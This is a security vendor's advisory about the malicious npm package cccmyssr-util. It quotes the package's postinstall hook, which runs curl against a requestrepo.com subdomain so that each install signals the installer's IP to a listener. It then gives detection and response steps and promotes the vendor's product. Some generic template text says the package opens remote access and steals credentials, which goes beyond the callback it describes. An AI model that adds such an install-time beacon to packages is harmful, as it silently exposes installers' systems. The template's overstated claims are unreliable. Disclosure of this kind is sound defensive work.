cccmyssr-utilnpm
Malicious code in cccmyssr-util (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On npm install, the package's postinstall.js unconditionally executes exec('curl http://qvmjcw4s.requestrepo.com'), sending an HTTP callback to a unique subdomain on requestrepo.com — a public out-of-band HTTP/DNS interaction service commonly used to confirm successful code execution on a target. The callback discloses the installer's public IP and a successful-install signal to the listener controlled by whoever registered the subdomain. The package presents itself as a trivial date-formatting utility (index.js exports a one-line formatDate), with empty author metadata and a generic A harmless utility package description; there is no legitimate rationale for any install-time network I/O. The cover-story metadata combined with an unconditional install-time beacon to an OOB inspection endpoint matches the reconnaissance/dependency-confusion probe pattern.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cccmyssr-util (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cccmyssr-util across your stack and pipelines.
If you installed it — respond
cccmyssr-util establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If cccmyssr-util was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks cccmyssr-util before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks cccmyssr-util-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.